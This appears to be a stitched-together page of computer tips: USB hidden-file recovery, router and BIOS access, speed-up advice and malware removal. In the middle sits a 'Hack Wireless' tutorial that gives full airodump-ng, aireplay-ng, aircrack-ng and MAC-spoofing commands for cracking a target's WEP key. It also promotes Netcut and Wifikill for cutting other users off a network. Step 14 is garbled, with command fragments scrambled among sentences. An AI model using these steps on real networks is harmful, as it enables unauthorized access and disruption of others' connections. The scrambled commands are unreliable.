How to recover hidden Files from Virus infected USB Pendrive

 Permanent Solution for recovering hidden files by Command prompt in windows operating system.

Step One:

Plug your USB Pendrive or External HDD or Memory Card which is Affected.

Step Two:

Go to Start -> Run-> Type CMD and Enter

Step Three:

Find the drive letter for the connected USB drive. For Example, I:

In command prompt, type I:

and Hit enter. Command Prompt will show I:/

Step Four:

Then type

attrib -s -h /s /d *.*

Make sure that you put space between each elements in the code.

and hit enter and wait for few seconds.

Check the Screen Shot of Above Steps:

Hidden folders in pen drive

hey try this. i am sure your problem will be solved. I too have tried this.........
start->Run->cmd
attrib -h -r -s /s /d h:\*.*

Autorun killer

Try to kill the Autorun file by following these steps: Download the file AutorunExterminator Extract it --> Double-click on "AutorunExterminator" --> Plug in your external hard drive. This will remove the autorun.inf files from your external hard drive. Run the following command. Here I assume your external hard drive is G: attrib -h -r -s /s /d g:\*.* You can copy the above command and then right-click in the Command Prompt to paste it. (Or do "Start" --> "Run" and type Ctrl+V.) Download Malwarebytes' Anti-Malware, update it, and perform a full scan.

Hack Wireless 2015

How a wireless network works

A wireless local area network (WLAN) is the linking of 2 or more computers with Network Interface Cards (NICs) through a technology based on radio waves. All devices that can connect to a wireless network are known as stations. Stations can be access points (APs), or clients.

Access points are base stations for the wireless network. They receive and transmit information for the clients to communicate with. The set of all stations that communicate with each other is referred to as the Basic Service Set (BSS). Every BSS has an Identification known as a BSSID, also known as the MAC address, which is a unique identifier that is associated with  every NIC. For any client to join a WLAN, it should know the SSID of the WLAN; therefore, the access points typically broadcast their SSID to let the clients know that an AP is in range. Data streams, known as packets, are sent between the Access Point, and it’s clients. You need no physical access to the network or its wires to pick up these packets, just the right tools. It is with the transmission of these packets that pose the largest security threat to any wireless network.

Wireless Encryption

The majority of home and small business networks are encrypted using the two most popular methods:

1. WEP & WPA

WEP – Wired Equivalent Privacy – comes in 3 different key lengths: 64, 128, and 256 bits, known as WEP 64, WEP 128, and WEP 256 respectively.  WEP provides a casual level of security but is more compatible with older devices; therefore, it is still used quite extensively. Each WEP key contains a 24 bit Initialization Vector (IV), and a user-defined or automatically generated key; for instance, WEP 128 is a combination of the 24 bit IV and a user entered 26 digit hex key. ((26*4)+24=128)

WEP also comes in WEP2 and WEP+, which are not as common and still as vulnerable as the standard WEP encryption.

WPA – WiFi Protected Access – comes in WPA and WPA2, and was created to resolve several issues found in WEP. Both provide you with good security; however, they are not compatible with older devices and therefore not used as widely. WPA was designed to distribute different keys to each client; however, it is still widely used in a  (not as secure) pre-shared key (PSK) mode, in which every client has the same passphrase.

To fully utilize WPA, a user would need an 802.1x authentication server, which small businesses and typical home users simply cannot afford. WPA utilizes a 48 bit Initialization Vector (IV), twice the size of WEP, which combined with other WEP fixes, allows substantially greater security over WEP.

Packets and IVs

It’s all in the packets. The bottom line is – while you may be able to employ several security features on your WLAN – anything you broadcast over the air can be intercepted, and could be used to compromise the security on your network. If that frightens you, start stringing wires throughout your home.

Every encrypted packet contains a 24 or 48 bit IV, depending on the type of encryption used. Since the pre-shared key is static and could be easily obtained, the purpose of the IV is to encrypt each packet with a different key. For example, to avoid a duplicate encryption key in every packet sent, the IV is constantly changing.  The IV must be known to the client that received the encrypted packet in order to decrypt it; therefore, it is sent in plaintext.

The problem with this method is that the Initialization Vectors are not always the same. In theory, if every IV was different, it would be nearly impossible to obtain the network key; this is not the case. WEP comes with a 24 bit IV; therefore, giving the encryption 16 million unique values that can be used. This may sound like a large number, but when it comes to busy network traffic, it’s not.

Every IV is not different; and this is where the issues arise. Network hackers know that all the keys used to encrypt packets are related by a known IV (since the user entered WEP part of the key is rarely changed); therefore, the only change in the key is 24 bits. Since the IV is randomly chosen, there is a 50% probability that the same IV will repeat after just 5,000 packets; this is known as a collision.

If a hacker knows the content of one packet, he can use the collision to view the contents of the other packet. If enough packets are collected with IV matches, your network’s security can be compromised.

The crack

Two of the most popular programs used for actually cracking the WEP key are Airsnort and Aircrack. Airsnort can be used with the .dump files that Kismet provides; and Aircrack can be used with the .cap files that Airodump provides.

Airsnort can be used on it’s own without any other software capturing packets; although, it has been reported to be extremely unstable in this state, and you should probably not chance loosing all your captured data. A better method would be to let Airsnort recover the encryption key from your Kismet .dump file. Kismet and Airsnort can run simultaneously.

For this demonstration, we’ll be using Aircrack. You can use Airodump to capture the packets, and Aircrack to crack the encryption key at the same time.

With Airodump running, open a new command window and type:
aircrack -f 3 -n 64 -q 3 george.cap

The -f switch followed by a number is the fudgefactor; which is a variable that the program uses to define how thoroughly it scans the .cap file. A larger number will give you a better chance of finding the key, but will usually take longer. The default is 2.

The -n switch followed by 64 represents that you are trying to crack a WEP 64 key. I knew because it was a setup; In the real world there is no way to determine what WEP key length a target access point is using. You may have to try both 64 and 128.

The -q 3 switch was used to display the progress of the software. It can be left out altogether to provide a faster crack; although, if you’ve obtained enough unique IVs, you should not be waiting more than a couple minutes.

A -m switch can be used, followed by a MAC address, to filter a specific AP’s usable packets; this would come in handy if you were collecting packets from multiple APs in Airodump.

Aircrack recovered my WEP 64 key within 1 minute using 76,000 unique IVs; the whole process took around 34 minutes.

The same experiment was repeated with WEP 128 and it took about 43 minutes. The reason it was not substantially longer is because I simply let Airplay replay more packets. Sometimes you can get lucky and capture an ARP Request packet within a few minutes; otherwise, it could take a couple hours.

Netcut:
Disconnect any wifi devices from network. Support windows OS . The driver and Install package has been upgrade. tested working under windows 7 both 32 bit and 64 bit OS. Its change MAC address on any adapter, including wireless. Details at How to change MAC. Also support Clone MAC address from any PC that NetCut monitored.
Whereas Wifikill use for Android applications to disable internet connections for a device on same network. Disconnect wifi connection and get full network on your device.

Step 1:-

First Download Backtrack  from the following link:

http://www.remote-exploit.org/backtrack_download.html

Step 2:-

Burn the iso image on CD and boot your laptop from CD drive

Step 3:-

Select the third boot option(VESA/KDE).

Step 4:-

Once in BT3, click the tiny black box in the lower left corner to load up a

 "Konsole" window.

Step 5:-

Type the following command

airmon-ng

Note down the interface name. In this example wifi0

Step 6:-

airmon-ng stop wifi0

Step 7:-

ifconfig wifi0 down

Step 8:-

macchanger --mac 00:11:22:33:44:66 wifi0

Step 9:-

airmon-ng start wifi0

Step 10:-

airodump-ng wifi0

This will start populating Wifi networks. Press Ctrl + C to stop.

Check the network with WEP encryption.

Notedown BSSID, CH and ESSID somewhere in notepad or paper

Note that if the same BSSID is available in the second part with STATION associated with it,

means you some one is accessing that network and our task will be little easier.

If not than don’t worry we will still crack it.

Step 11:-

airodump-ng -c (channel) -w (file name)

Replace

(channel) with the CH which u had already n

(file name) with any name of your choice

(bssid) with the BSSID which u had already note

--bssid (bssid) wifi0

Note it

Leave this console as it is and start new konsole

Step 12:-

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0

If you don’t get Association Successful mesage then keep on trying until

you got success.

Step 13:-

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0

Well if you don’t see ARP ACK and sent packets are not increasing or still 0

than it means no 1 is

accessing that network.But don’t worry you go an optional step,

Leave this console as it is and start new k

Step 14:-

aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF

konsole

message than keep on trying until you get success

got an optional step

konsole

–b (bssid) –h 00:11:22:33:44:66 wfi0

Press y and enter

Now you will see that ARP and ACK packets in 2nd console are increasing fast

Keep this console as it is and start 4th console.

Step 15:-

aircrack-ng -b (bssid) (filename)-

Just wait and watch…..Backtrack will do rest of the work.

Hurray we got the key.

Done..!! 

How to enter modem settings

To access your ADSL router or modem, connect your computer to the router and then open up your web browser(e.g. Internet Explorer) and type in the default IP-address. If this doesn't take you to the Login screen then the IP-address may have been changed. Please enter the new IP-address instead.

D-Link ADSL routers and modems have a factory default IP-address of 192.168.1.1 with a subnet of 255.255.255.0
To access your ADSL router or modem, connect your computer to the router and then open up your web browser(e.g. Internet Explorer) and type in the default IP-address.
If this doesn't take you to the Login screen then the IP-address may have been changed. Please enter the new IP-address instead. If you can't remember the changed IP-address and don't know how to find that information you can always reset the router so it goes back to factory default settings.

How to Enter PC's BIOS

BIOS stands for "basic input/output system." This software checks the health of your computer's hardware and allows Windows to start. When you turn on your PC, its BIOS runs a power-on self-test (POST) to ensure that the machine's devices (hard drive, sound card, keyboard, and the like) are connected and working properly. If the test finds no problems, the BIOS turns over control of your PC to another piece of software, typically the operating system.
Every PC has a BIOS, and you may need to access yours from time to time. Inside the BIOS you can set a password, manage hardware, and change the boot sequence. The BIOS user interface is straightforward and easy to access, but you should take caution when exploring the BIOS--don't change settings if you don't know what they do.

Step by Step: Entering the BIOS

1. Get ready to act quickly: You need to start the computer and press a key on the keyboard before the BIOS hands over control to Windows. You have only a few seconds to perform this step.
2. Boot (or restart) the PC: Pay close attention to the first screen that appears. Look for a message that indicates which key you need to press in order to access the BIOS. That key is likely to be:
--A Function key (such as F1, F2, or F3)
--The Esc key
--The Delete key

5 step Speed up System

1.  Restart Your Computer

It's a long running joke that the only thing tech support folks know how to do is tell people to restart their computers.
I've had the displeasure of working with a few "professionals" that might have inspired that joke, but please don't overlook this extraordinarily simple step.
More times than you would believe, I would visit a customer's home or business, listen to a long story about an issue, and then simply restart the computer to fix the problem.
Contrary to accounts otherwise, I do not have a magic touch. Computers sometimes encounter very temporary issues that a restart, which clears its memory and reruns processes, solves.

2.  Clear Your Browser's Cache

Yet another joke, albeit a more recent one, is that clearing your browser's cache, the collection of recently visited pages that's saved to your computer's hard drive, is the fix for all possible Internet problems.
That's certainly an exaggeration - clearing cache won't fix every broken website or Internet related problem - but it is often helpful.
Clearing the cache is very easy to do. Every browser has a straightforward method for doing so, even if it is hidden a few layers deep in a menu.
If you have any sort of Internet related issue, especially if it's impacting only some pages, be sure to clear the cache before taking your computer in for service.

3.  Scan for Viruses & Other Malware

No doubt scanning for a virus infection was the first thing that came to mind if a virus or other malicious program (collectively called malware) made itself obvious.
Unfortunately, most problems caused by malware don't always clearly point to an infection. It's great if your antivirus program warns you of a problem, but it won't always.
Often times, virus-caused problems appear as general computer sluggishness, random error messages, frozen windows, and things like that.
Before you take your computer in for any reason, be sure to run a full malware scan using whatever antivirus software you're running.

4.  Reinstall the Program That's Causing Trouble

A lot of computer problems are software-specific, meaning that they only happen when starting, using, or stopping a particular program that's installed.
These sorts of problems can make it seem like your whole computer is falling part, especially if you use the offending program a lot, but the solution is often very simple: reinstall the program.

5.  Delete Your Browser's Cookies

No, there aren't real cookies in your computer (wouldn't that be nice?) but there are tiny files called cookies which are sometimes the cause of problems browsing the web.
Like the cached files mentioned in #2 above, the browser stores these files to make surfing the web easier.

Computer Service

Computer repair places like Best Buy’s Geek Squad do a lot of things that you can easily do yourself. Instead of paying for a pricy malware removal or computer tune-up, you can do it yourself.
This guide won’t walk you through identifying a failing component and repairing it by hand. It’s focused on the easy stuff – although it’s easy, people pay hundreds of dollars to have it done for them...

Remove Viruses and Malware

Many people still wrestle with infected Windows PCs. If your computer is infected and isn’t working properly, you don’t have to pay someone else to fix it. The Geek Squad doesn’t have any magic tools – they use many of the standard antivirus tools you can use yourself.
To find an antivirus product that actually offers good protection, consult an antivirus test website and see how your antivirus of choice stacks up. If you don’t feel like doing all that research yourself, luckily we’ve done it for you.
Kaspersky and Bitdefender consistently rank in the top of both the AV-Test and AV-Comparatives rankings, and we’ve used both products with good results. They aren’t free, but most of the free antivirus out there is bundling extra nonsense or trying to redirect your search engine to their “secure” solution that isn’t really secure and just shows you more ads or spies on your shopping habits.
For a really deep infection, a good repair place may dig through your autostart entries and registry by hand and manually remove malware that isn’t being caught by tools. However, this can be time-consuming – and if the computer is already so infected, there’s no guarantee all the malware will be removed. In cases like this, they’ll often just reinstall Windows. You can do that yourself, too

Reinstall the Operating System

Some people think that computers become slower over time and eventually need to be replaced – it’s sad, but true. Other people may take the computer to a repair place when it starts slowing down. When dealing with a computer that’s become bogged down by startup programs and toolbars, a simple Windows reinstall is often the fastest, easiest solution.
This can also help if you’re experiencing other problems with your computer, such as file corruption or weird errors. While it’s often possible to troubleshoot these things by replacing corrupted files and bad drivers, it’s usually faster to just reset Windows back to its factory state.
Most new computers come with factory restore partitions, which you can access by pressing the correct key during the boot process (check your computer’s manual). You may also have CDs or DVDs you can restore your computer from. If you installed Windows yourself, you can use the Windows installation disc. On Windows 8, use the Refresh or Reset feature to easily reinstall Windows.
Be sure to back up your important files before doing this. Some places may back up your important files for you, while some may ask you to back them up ahead of time – that’s because they’ll just be reinstalling Windows for you